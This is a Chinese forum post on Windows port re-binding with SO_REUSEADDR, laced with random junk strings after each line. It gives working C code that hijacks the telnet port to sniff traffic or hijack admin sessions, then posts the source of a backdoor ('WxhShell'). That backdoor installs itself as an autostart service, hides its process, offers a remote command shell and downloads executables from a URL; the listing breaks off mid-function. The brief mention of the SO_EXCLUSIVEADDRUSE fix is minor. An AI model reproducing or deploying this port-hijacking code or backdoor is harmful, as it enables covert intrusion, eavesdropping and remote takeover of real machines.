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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >!tfvM2X{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,wv>G]v  
hPCSAo!|  
  saddr.sin_family = AF_INET; #MiO4zXgd  
8+32hg@^F  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }ov>b2H#<  
y6MkaHW[m  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); B+pLW/4l  
Wvl'O'R  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $*Wa A`(U  
&h=f  
  这意味着什么?意味着可以进行如下的攻击: fGe"1MfU  
%|j`;gYV  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 MfKru,LSh  
P:1eWP  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6KPjZC<  
TB84}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 QA)W(1  
|8GLS4.]t  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .1ep8O<  
&+ H\ST(/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 I'N!j>5oX  
BuxU+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <DII%7q,6/  
PGVP0H+RV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U#XW}T=|  
l\d[S]  
  #include ng6E &<Z  
  #include ) M(//jX  
  #include frV_5yK'  
  #include    w=0zVh_`(  
  DWORD WINAPI ClientThread(LPVOID lpParam);   niYD[Ra\xP  
  int main() t~!ag#3['.  
  { Y|W#VyM-  
  WORD wVersionRequested; Ln/*lLIOb  
  DWORD ret; 5-S-r9  
  WSADATA wsaData; `FX?P`\@I  
  BOOL val; -Hy> z  
  SOCKADDR_IN saddr; *e<'|Kq  
  SOCKADDR_IN scaddr; %>y!N!.F  
  int err; VMNdC}  
  SOCKET s; Y$+v "  
  SOCKET sc; 2^U?Ztth6  
  int caddsize; L},o;p:  
  HANDLE mt; l-Dgm  
  DWORD tid;   +8GxX$  
  wVersionRequested = MAKEWORD( 2, 2 ); f}?p Y"yvO  
  err = WSAStartup( wVersionRequested, &wsaData ); ^1aY,6I:  
  if ( err != 0 ) { t_(S e  
  printf("error!WSAStartup failed!\n"); :r{W)(mm  
  return -1; 7ks!0``  
  } w[ )HQ1K  
  saddr.sin_family = AF_INET; DQ0 UY  
   GpR,n2  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %%h.`p1  
`/WOP`'zM  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2+R]q35-  
  saddr.sin_port = htons(23); GW%!?mJ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *GdJ<B$  
  { %0 U@k!lP  
  printf("error!socket failed!\n"); WM=)K1p0u  
  return -1; $%ww$3  
  } L[Wi[S6=)g  
  val = TRUE; FEBRUk6.h  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +j$nbU0U  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) k9VWyq__  
  { 2&AX_#P  
  printf("error!setsockopt failed!\n"); P;|63" U  
  return -1; V=Bmpg  
  } i=fhK~Jd  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wGHVq fm5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^a!oq~ZSy  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 W4h]4X  
sp0_f;bC  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?;w\CS^Qu  
  { UCo<ie\V  
  ret=GetLastError(); b8$%=Xp  
  printf("error!bind failed!\n"); K;TTGK  
  return -1; (@O,U  
  } yC!>7@m  
  listen(s,2); D?H|O[  
  while(1) Us>  
  {  8*uaI7;*  
  caddsize = sizeof(scaddr); !&v"+ K3lU  
  //接受连接请求 t6)R 37  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |;U3pq)  
  if(sc!=INVALID_SOCKET) a<((\c_8G  
  { *;lb<uLv  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); xz7CnW1  
  if(mt==NULL) RGY#0.Z}  
  { bPl'?3  
  printf("Thread Creat Failed!\n"); (F:|tiV+  
  break; !wro7ilMB  
  } jd`]]FAww  
  } _~*ba+{  
  CloseHandle(mt); 7&V3f=aj6  
  } OSC_-[b-  
  closesocket(s); ye| 2gH  
  WSACleanup(); cn9=wm\\  
  return 0; E6-~  
  }   |I.5]r-EK  
  DWORD WINAPI ClientThread(LPVOID lpParam) GB6(WAmr  
  { +>% AG&Pc  
  SOCKET ss = (SOCKET)lpParam; oiz]Bd  
  SOCKET sc; z34+1d  
  unsigned char buf[4096]; li} >xDSQ4  
  SOCKADDR_IN saddr; *r6v9  
  long num; /5\{(=0  
  DWORD val; Prv=f@  
  DWORD ret; +bWo{   
  //如果是隐藏端口应用的话,可以在此处加一些判断 Kf6D$}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   S7R*R}  
  saddr.sin_family = AF_INET; UK[+I]I p  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `_J>R  
  saddr.sin_port = htons(23); t*c_70|@k  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HLE%f;  
  { MA7&fNjB  
  printf("error!socket failed!\n"); #vPk XcP  
  return -1; T 7M];@q  
  } obgO-d9l  
  val = 100; 2k`Q+[?{q>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j?! /#'  
  { dmMrZ1u2  
  ret = GetLastError(); G/KTF2wl7  
  return -1; ~BXy)IB6  
  } ?.nD!S@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @,pn/[  
  { H\|H]:CE  
  ret = GetLastError(); fs#9*<]m  
  return -1; U8zs=tA  
  } }</"~Kw!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !zfV (&  
  { j<L!(6B  
  printf("error!socket connect failed!\n"); O%Qz6R  
  closesocket(sc); 1_G+sDw$  
  closesocket(ss); |j$$0N  
  return -1; t & 5s.  
  } h>/L4j*Z  
  while(1) 4HGR-S/  
  { RRGs:h@;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 k rXU*64  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !nF.whq  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 pq]>Ep  
  num = recv(ss,buf,4096,0); m2F+ 6G  
  if(num>0) ^3Z~RK\}  
  send(sc,buf,num,0); [?)He} _L  
  else if(num==0) T<mP.T,$!  
  break; *o=( w5   
  num = recv(sc,buf,4096,0); M7(]NQ\TQ  
  if(num>0) <mQ9YO#  
  send(ss,buf,num,0); &tlU.Whk+  
  else if(num==0) tz%H1 `  
  break; z*N%kcw"  
  } Ja%isIdh  
  closesocket(ss); X@~R<  
  closesocket(sc); $oi8 <8Y  
  return 0 ; Z&GjG6t  
  } hOm0ND?;1  
ZVCa0Km  
D#X&gE  
========================================================== //^{u[lr  
/J&_ZDNV~  
下边附上一个代码,,WXhSHELL LT/ *y=  
s09&A]G  
========================================================== _2<d6@}  
x0q `Uc  
#include "stdafx.h" kg$w<C@#"  
sg_%=;  
#include <stdio.h> wUzMB ]w  
#include <string.h> bX+"G}CRP  
#include <windows.h> 3u= >Y^wu  
#include <winsock2.h> `Fb%vYf  
#include <winsvc.h> x\5\KGw16  
#include <urlmon.h> QV=|' S  
TnPx.mwK\  
#pragma comment (lib, "Ws2_32.lib") 4'L.I%#tZ  
#pragma comment (lib, "urlmon.lib") F\+!\b*lP  
4?aNJyV%&  
#define MAX_USER   100 // 最大客户端连接数 a &hj|  
#define BUF_SOCK   200 // sock buffer #:[CF:  
#define KEY_BUFF   255 // 输入 buffer :j;_Xw  
28 ;x5m)N  
#define REBOOT     0   // 重启 { b7%Zd3-  
#define SHUTDOWN   1   // 关机 lZD"7om  
C)ebZ3  
#define DEF_PORT   5000 // 监听端口 PtOYlZTe?  
dca?(B!'6  
#define REG_LEN     16   // 注册表键长度 ->&amPv  
#define SVC_LEN     80   // NT服务名长度 '\Uy;,tu /  
;VgB!  
// 从dll定义API Yg]!`(db  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); EA<x$O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h x hl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OJ)XJL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o 0H.DeP  
C.hRL4+;Zm  
// wxhshell配置信息 ajD/)9S  
struct WSCFG { VOrBNu  
  int ws_port;         // 监听端口 }9Awv#+  
  char ws_passstr[REG_LEN]; // 口令 |Q#CQz  
  int ws_autoins;       // 安装标记, 1=yes 0=no j4eq.{$  
  char ws_regname[REG_LEN]; // 注册表键名 \l/<[ZZ  
  char ws_svcname[REG_LEN]; // 服务名 UphZRgT!N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v`~egE17  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8?$XT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Opf^#6'mq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /m+.5Qz9)@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WL1$LLzN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V(6Ql j7  
tQIz  
}; gPy}.g{tH$  
]{pH,vk-  
// default Wxhshell configuration O29GPs  
struct WSCFG wscfg={DEF_PORT, r%` |kN  
    "xuhuanlingzhe", ~> 5  
    1, O3(H_(P  
    "Wxhshell", Rnk&:c  
    "Wxhshell", nbSu|sX~r5  
            "WxhShell Service", `5t CmU  
    "Wrsky Windows CmdShell Service", 3aEO9v,n  
    "Please Input Your Password: ", !FbW3p f  
  1, Rc`zt7hbJ  
  "http://www.wrsky.com/wxhshell.exe", z6bIv }  
  "Wxhshell.exe"  H r;\}  
    }; -|/*S]6kK  
0J 1&6b  
// 消息定义模块 MF4B 2d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m7,;Hr(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C'fQ Z,r-v  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZNY), 3?  
char *msg_ws_ext="\n\rExit."; 4XArpKA  
char *msg_ws_end="\n\rQuit."; u$y5?n|  
char *msg_ws_boot="\n\rReboot..."; fBct%M 3  
char *msg_ws_poff="\n\rShutdown..."; _l&.<nz  
char *msg_ws_down="\n\rSave to "; *vIC9./  
2I1CKA:7g  
char *msg_ws_err="\n\rErr!"; D? FWSv  
char *msg_ws_ok="\n\rOK!"; C 4hvk'=  
e2M jV8Bs  
char ExeFile[MAX_PATH]; lxOUV?m^N  
int nUser = 0; p!2t/XIM  
HANDLE handles[MAX_USER]; p(x<h  
int OsIsNt; 3Cl&1K #5  
_qq>-{-Ym  
SERVICE_STATUS       serviceStatus; L ^{C4}x=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N PE7AdB8  
5*r5?ne  
// 函数声明 {@T<eb$d  
int Install(void); %jj\w>  
int Uninstall(void); H.[t&VO  
int DownloadFile(char *sURL, SOCKET wsh); /7yd&6`I  
int Boot(int flag); hO4* X  
void HideProc(void); 7N[Cs$_]  
int GetOsVer(void); u#v];6N  
int Wxhshell(SOCKET wsl); .oxeo 0@~  
void TalkWithClient(void *cs); z#{%[X2  
int CmdShell(SOCKET sock); TDHS/"MbA7  
int StartFromService(void); $D(q  
int StartWxhshell(LPSTR lpCmdLine); 4F?O5&329i  
>7nOR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Mg=R**s1x%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f&`yiy_  
8Z(\iZ5Rgj  
// 数据结构和表定义 EY'48S  
SERVICE_TABLE_ENTRY DispatchTable[] = uZ(,7>0  
{ t-$Hti7Lk  
{wscfg.ws_svcname, NTServiceMain}, E#mpj~{-  
{NULL, NULL} y'U-y"7y  
}; A7sva@}W  
UpCkB}OhR1  
// 自我安装 F}=O Mo:.  
int Install(void) ;v> +D {s  
{ WEk3 4crk  
  char svExeFile[MAX_PATH]; ;q%V)4  
  HKEY key; 6gJc?+  
  strcpy(svExeFile,ExeFile); gL6.,4q+1  
!eGUiE=  
// 如果是win9x系统,修改注册表设为自启动 Ihg1%.^V\  
if(!OsIsNt) { y_N h5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *|&&3&7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o9AwW  
  RegCloseKey(key); ~M LBO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V?o%0V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Hrj@I?4  
  RegCloseKey(key); L$ ZZ]?7j  
  return 0; pJ H@v &a  
    } ~X%W2N2  
  } i$S*5+  
} Kma-W{vGD  
else { SoL"M[O  
{xJ<)^fD8  
// 如果是NT以上系统,安装为系统服务 =z +iI;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q@? {|7:  
if (schSCManager!=0) #tlhH\Pr[  
{ q;H5S<]/  
  SC_HANDLE schService = CreateService }X^CH2,R  
  ( n% ={!WD  
  schSCManager, O*+,KKPt  
  wscfg.ws_svcname, rZ^VKO`~I1  
  wscfg.ws_svcdisp, T,fDH!a  
  SERVICE_ALL_ACCESS, "BD$-]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f&L8<AS Fo  
  SERVICE_AUTO_START, QeipfK+me  
  SERVICE_ERROR_NORMAL, W)fh}|.5  
  svExeFile, hR%2[lBn!]  
  NULL, 3[}w#n1  
  NULL, K{[N.dX(  
  NULL, z)XI A)i6  
  NULL, I<LIw8LI  
  NULL $%0A#&DVh  
  ); <+)B8I^  
  if (schService!=0) J#*R]LU|  
  { >J_%'%%f  
  CloseServiceHandle(schService); Gjo&~*;  
  CloseServiceHandle(schSCManager); nj5Hls  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l\1_v7s  
  strcat(svExeFile,wscfg.ws_svcname); anxwK47  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OZi4S3k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &<oDl _^  
  RegCloseKey(key); "|W``&pM  
  return 0; EawtT  
    } |t&gyj  
  } +U*:WKdI?  
  CloseServiceHandle(schSCManager); fD ?w!7f-1  
} Jw)-6WJ!uO  
} bd@1j`i  
p-,(P+Np  
return 1; ?emYLw  
} S# sar}-I  
|FH|l#bu>  
// 自我卸载 Swnom?t  
int Uninstall(void) o `}(1$a>  
{ Trt1M  
  HKEY key; >*S ;z+!&  
!=rJ~s F/{  
if(!OsIsNt) { x|q|> dPB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T~b6Zu6  
  RegDeleteValue(key,wscfg.ws_regname); #CTHCwYo  
  RegCloseKey(key); /eNDv(g)M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =%oQIx  
  RegDeleteValue(key,wscfg.ws_regname); rhA>;9\  
  RegCloseKey(key); "%]vSr  
  return 0; tA]Y=U+Q  
  } Q2nqA1sRk  
} X6k-a;  
} +EE(d/ f  
else { W+D{4:  
Nvj0MD{ X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rX@?~(^ML  
if (schSCManager!=0) Spt;m0W90  
{ C!s !j  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J^)=8cy  
  if (schService!=0) "=vH,_"Ql  
  { y?.l9  
  if(DeleteService(schService)!=0) { %:/?eZ  
  CloseServiceHandle(schService); 1@{qPmf^  
  CloseServiceHandle(schSCManager); J!@`tR-  
  return 0; :zLeS-  
  } u:GDM   
  CloseServiceHandle(schService); 6R+EG{`  
  } wTkcR^  
  CloseServiceHandle(schSCManager); 2<33BBlWA  
} {}1KI+s9\  
} qjI.Sr70  
{axMS yp;  
return 1; G+zIh}9  
} FCA]zR1  
gL}x| Q2`  
// 从指定url下载文件 }Z3+z@L  
int DownloadFile(char *sURL, SOCKET wsh) *#g[ jl4  
{ Ft^+P*  
  HRESULT hr; \:|"qk  
char seps[]= "/"; @w{"6xc%a  
char *token; &JHqUVs^  
char *file; ypV>*  
char myURL[MAX_PATH]; '7(oCab"_  
char myFILE[MAX_PATH]; Os"T,`F2s  
!@wG22iC4d  
strcpy(myURL,sURL); 8lfKlXR78  
  token=strtok(myURL,seps); 2(iv+<t  
  while(token!=NULL) u RPvo}!=1  
  { %% A==_b  
    file=token; `d6,]'  
  token=strtok(NULL,seps); atmTI`i  
  } *>8Y/3Y\B  
=%ZR0cWPoI  
GetCurrentDirectory(MAX_PATH,myFILE); 9G=HG={  
strcat(myFILE, "\\"); CWW|?  
strcat(myFILE, file); b5.L== >  
  send(wsh,myFILE,strlen(myFILE),0); 85 <%L:EC  
send(wsh,"...",3,0); SJXP}JB_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >P[BwL]  
  if(hr==S_OK) :1,xse  
return 0; wS}Rl}#Oh?  
else =?s0.(;  
return 1; ^{R.X:a  
0FG|s#Ig  
} h(MS>=  
o]O  
// 系统电源模块 s ad[(|  
int Boot(int flag) }j6<S-s~  
{ TSHH=`cx  
  HANDLE hToken; m. DC  
  TOKEN_PRIVILEGES tkp; xA {1XS}  
Bn?MlG;aA  
  if(OsIsNt) { 7$j O3J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 71inHg  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "'\f?A9  
    tkp.PrivilegeCount = 1; 'Bb@K[=s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8@J5tFJ&%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 11jDAA(|  
if(flag==REBOOT) { o dTg.m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #uHl  
  return 0; AagWswv{Bf  
} U7@)RJ  
else { tF=Y3W+L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k>mqKzT0$+  
  return 0; K}1eQS&$a  
}  Im8c  
  } k}r)I.Lp  
  else { *Qe{CE  
if(flag==REBOOT) { ;)gNe:Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "Ir.1FN  
  return 0; 2B=''W  
} `p{,C`g,R  
else { [5O`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @!zT+W&  
  return 0; <"rckPv_H  
} x.-d>8-!]c  
} I'%(f@u~  
n`af2I2  
return 1; gdVajOAu  
} GtNGrJU  
;V"(! 'd  
// win9x进程隐藏模块 J 8""}7D  
void HideProc(void) $bv l.c  
{ [H8QxJk  
n]+v Eu|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }R]^%q@&  
  if ( hKernel != NULL ) zA?]AL(+YW  
  { b/ dyH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 06peo d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z/>0P* F  
    FreeLibrary(hKernel); *)H&n>"e  
  } Vn1hr;i]  
Wr+1G 8  
return; RIQw+RG >  
} 2r~&+0sBP  
WJN}d-S=^  
// 获取操作系统版本 baVSQtda  
int GetOsVer(void) )-4xI4  
{ ;4rTm@6  
  OSVERSIONINFO winfo; !j|93*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rJ UXA<:2  
  GetVersionEx(&winfo); ]A2l%V_7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V*U*_Y  
  return 1; :*wjC.Z  
  else _hb@O2f  
  return 0; ;uazQyo6  
} t%f6P  
wWNHZ v&  
// 客户端句柄模块 |,wp@)e6h  
int Wxhshell(SOCKET wsl) vHz]-Q-|9  
{ 30Z RKrW"~  
  SOCKET wsh; 8Qg,UX  
  struct sockaddr_in client; )|@ H#kv?  
  DWORD myID; [# '38  
0u'qu2mV  
  while(nUser<MAX_USER) s s*% 3<  
{ dq{wFI)  
  int nSize=sizeof(client); rHWlv\+N n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pwvcH3l/r  
  if(wsh==INVALID_SOCKET) return 1; """gV)Y  
utvZ<zz`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "x*5g*k  
if(handles[nUser]==0) oT\u^WU  
  closesocket(wsh); -b4#/q+bb+  
else LJ|2=lI+jb  
  nUser++; AShnCL8uR  
  } a|x1aN 0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {G D<s))  
2AAZZx +$  
  return 0; De(\ <H#  
} u(s/4Lu  
domaD"C  
// 关闭 socket -K_p? l  
void CloseIt(SOCKET wsh) <6s?M1J  
{ BWct0=  
closesocket(wsh); >7VO ytc  
nUser--; W5_:Q @  
ExitThread(0); xjOj1Hv  
} MxY~(TVPK  
-U?Udmov  
// 客户端请求句柄 Eo$7W5h J  
void TalkWithClient(void *cs) %Hk9.1hn5  
{ HCI|6{k  
G Uf[Dz  
  SOCKET wsh=(SOCKET)cs; (1pxQ%yEA  
  char pwd[SVC_LEN]; UtF8T6PKdW  
  char cmd[KEY_BUFF]; 7X$[E*kd  
char chr[1]; E-\<,=bh  
int i,j; -];/*nl  
&_^t$To  
  while (nUser < MAX_USER) { 4X@ <PX5  
Z. ))=w6G  
if(wscfg.ws_passstr) { 3K/32Wi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d_j% ,1-#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /- qS YS(  
  //ZeroMemory(pwd,KEY_BUFF); `N_elf://n  
      i=0; )Qe4J0.  
  while(i<SVC_LEN) { Nd.+Rs  
gJ_{V;R  
  // 设置超时 /R@,c B=  
  fd_set FdRead; GnlP#;  
  struct timeval TimeOut; kgX"LQh;[G  
  FD_ZERO(&FdRead); w(QU'4~  
  FD_SET(wsh,&FdRead); (RR:{4I  
  TimeOut.tv_sec=8; TX96 ^EoH  
  TimeOut.tv_usec=0; B>3joe}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |&+0Tg~ZE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Fq6sl}b(On  
Tl^9!>\Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @O/Jy2>3H  
  pwd=chr[0]; 5U&b")3IT!  
  if(chr[0]==0xd || chr[0]==0xa) { oh k.;  
  pwd=0; !1tHg Z2\  
  break; }7>r,  
  } fb7Gy  
  i++; 8IYn9<L  
    } Q`"gKBN1  
QkXnXu  
  // 如果是非法用户,关闭 socket 9Ij=~p]p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]xlV;m  
} b]'Uv8fbF  
Fb&Xy{kt1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e`pYO]Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ak`7f$z  
@5!Mr5;  
while(1) { y9cDPwi:b  
}fps~R  
  ZeroMemory(cmd,KEY_BUFF); CbmT aEaP  
mXd,{b'  
      // 自动支持客户端 telnet标准   PuvC MD  
  j=0; Y40`~  
  while(j<KEY_BUFF) { &@tD/Jw3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :a M ZJm  
  cmd[j]=chr[0]; zW^_w&fd^j  
  if(chr[0]==0xa || chr[0]==0xd) { ^gb3DNV~y  
  cmd[j]=0; G_GV  
  break; [?3]+xr :  
  } uD=i-IHT  
  j++; tC0:w,C)  
    } p^|IN'lx,  
]Ek6EuaK  
  // 下载文件 kdVc;v/5  
  if(strstr(cmd,"http://")) { Zl5cHejM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dzIc X*"  
  if(DownloadFile(cmd,wsh)) _MF:?p,l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3*< O-Jr  
  else aDrF" j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .+|HJ(  
  } W(h].'N  
  else { k[9~Er+  
`SdvX n  
    switch(cmd[0]) { Aofk<O!M  
  f tS^|%p  
  // 帮助 S VCTiG8t  
  case '?': { &cnciEw1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pCXceNFo  
    break; +Bg$]~ T  
  } Lnin;0~{  
  // 安装 T r|B:)X  
  case 'i': { ?b?6/_W~R  
    if(Install()) ({XB,Rm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h<)YZ[;x  
    else nQe^Bn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \ 5MD1r}  
    break; ETt7?,x@  
    } bXSsN\:Y@[  
  // 卸载 x*]&Ca0+  
  case 'r': { >o=O^:/L  
    if(Uninstall()) H =Y7#{}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qH#?, sK ^  
    else _[D6 WY+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,t"?~Hl".  
    break; Q"o* \I  
    } Y nD_:ZK  
  // 显示 wxhshell 所在路径 7ojU]ly  
  case 'p': { s(~tL-_ K  
    char svExeFile[MAX_PATH]; I4[sf  
    strcpy(svExeFile,"\n\r"); G~z=,72  
      strcat(svExeFile,ExeFile); PxuE(n V[  
        send(wsh,svExeFile,strlen(svExeFile),0); Hz?C9q3BX  
    break; #%Z 0!  
    } Ll" Kxg  
  // 重启 9T`$gAI  
  case 'b': { D<V[:~-o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MR=dQc  
    if(Boot(REBOOT)) r#8t @W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .<#oLM^  
    else { %pikt7,Z~  
    closesocket(wsh); (8JL/S;Z$  
    ExitThread(0); Lek!5Ug  
    } 7D5[ L  
    break; {..6{~L  
    } ivgV5 )".  
  // 关机 C?xah?Sk  
  case 'd': { 8IeE7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 49('pq?D  
    if(Boot(SHUTDOWN)) o|Q:am'H  
